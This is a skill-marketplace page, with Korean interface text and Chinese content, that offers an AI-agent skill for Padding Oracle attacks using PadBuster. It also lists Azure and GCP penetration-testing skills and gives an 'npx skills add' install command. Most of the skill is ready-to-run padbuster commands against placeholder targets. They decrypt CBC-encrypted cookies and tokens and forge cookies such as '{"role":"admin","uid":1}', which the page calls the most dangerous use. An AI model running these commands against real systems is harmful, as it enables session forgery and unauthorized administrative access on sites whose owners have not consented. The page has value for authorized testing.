메뉴
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文，适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
SOC 직업 분류 기준
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/wgpsec/AboutSecurity --skill padbuster-padding-oracle명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产（Blob Storage/App Service/Azure VM/Azure Functions）、获取 Azure 凭据（Service Principal/Managed Identity/Access Token）、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举
GCP 云环境渗透测试总体方法论。当目标使用 Google Cloud Platform、发现 GCP 相关资产（GCS Bucket/Compute Engine/Cloud Functions/GKE）、获取 GCP 凭据（Service Account Key/OAuth Token/Metadata Token）、或需要对 GCP 环境进行安全评估时使用。提供从未授权枚举到提权、后渗透、GCP-to-Workspace 穿越的全流程决策树。覆盖 37+ GCP 服务攻击面
| name | padbuster-padding-oracle |
| description | 使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文，适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能 |
| metadata | {"tags":"padbuster,padding oracle,CBC,加密,解密,Cookie伪造,AES,DES,密文,token","category":"tool"} |
PadBuster 是 Padding Oracle 攻击的自动化工具。核心能力：自动解密 CBC 密文 + 伪造任意明文的合法密文 + 支持多种编码。
项目地址：https://github.com/AonCyberLabs/PadBuster
Padding Oracle 漏洞出现在使用 CBC 模式块加密（AES-CBC/DES-CBC）的应用中，当应用对 padding 错误和其他错误返回不同响应时，攻击者可逐字节还原明文或构造任意密文。
# 解密 URL 参数中的密文（Base64 编码，AES-128）
padbuster "http://target/api?token=ENCRYPTED_VALUE" "ENCRYPTED_VALUE" 16 -encoding 0
# 解密 Cookie 中的密文
padbuster "http://target/" "BASE64_CIPHER" 16 \
-cookies "auth=BASE64_CIPHER" -encoding 0
# Hex 编码的密文
padbuster "http://target/page?data=HEX_CIPHER" "HEX_CIPHER" 16 -encoding 1
# DES-CBC（块大小 8）
padbuster "http://target/page?token=ENC" "ENC" 8 -encoding 0
# 伪造 Cookie 值（最危险的利用方式）
padbuster "http://target/" "BASE64_CIPHER" 16 \
-cookies "auth=BASE64_CIPHER" -encoding 0 \
-plaintext "admin"
# 伪造 JSON 内容
padbuster "http://target/" "BASE64_CIPHER" 16 \
-cookies "session=BASE64_CIPHER" -encoding 0 \
-plaintext '{"role":"admin","uid":1}'
# 自定义错误识别（当服务器不用 HTTP 状态码区分时）
padbuster "http://target/decrypt?data=ENC" "ENC" 16 \
-encoding 0 -error "Invalid padding"
# URL 前缀（密文在 URL 路径中）
padbuster "http://target/api/ENCRYPTED/action" "ENCRYPTED" 16 \
-encoding 0 -prefix "http://target/api/"
# 密文不含 IV
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -noiv
# 详细输出
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -veryverbose
# 恢复中断的攻击（已知 intermediate 值）
padbuster "http://target/?data=ENC" "ENC" 16 \
-encoding 0 -intermediate "KNOWN_INTERMEDIATE_HEX"
| 编码值 | 格式 | 说明 |
|---|---|---|
| 0 | Base64 | 最常见 |
| 1 | hex (小写) | a-f 格式 |
| 2 | hex (大写) | A-F 格式 |
| 3 | .NET UrlToken | ASP.NET 特有 |
| 4 | WebSafe Base64 | URL 安全的 Base64 |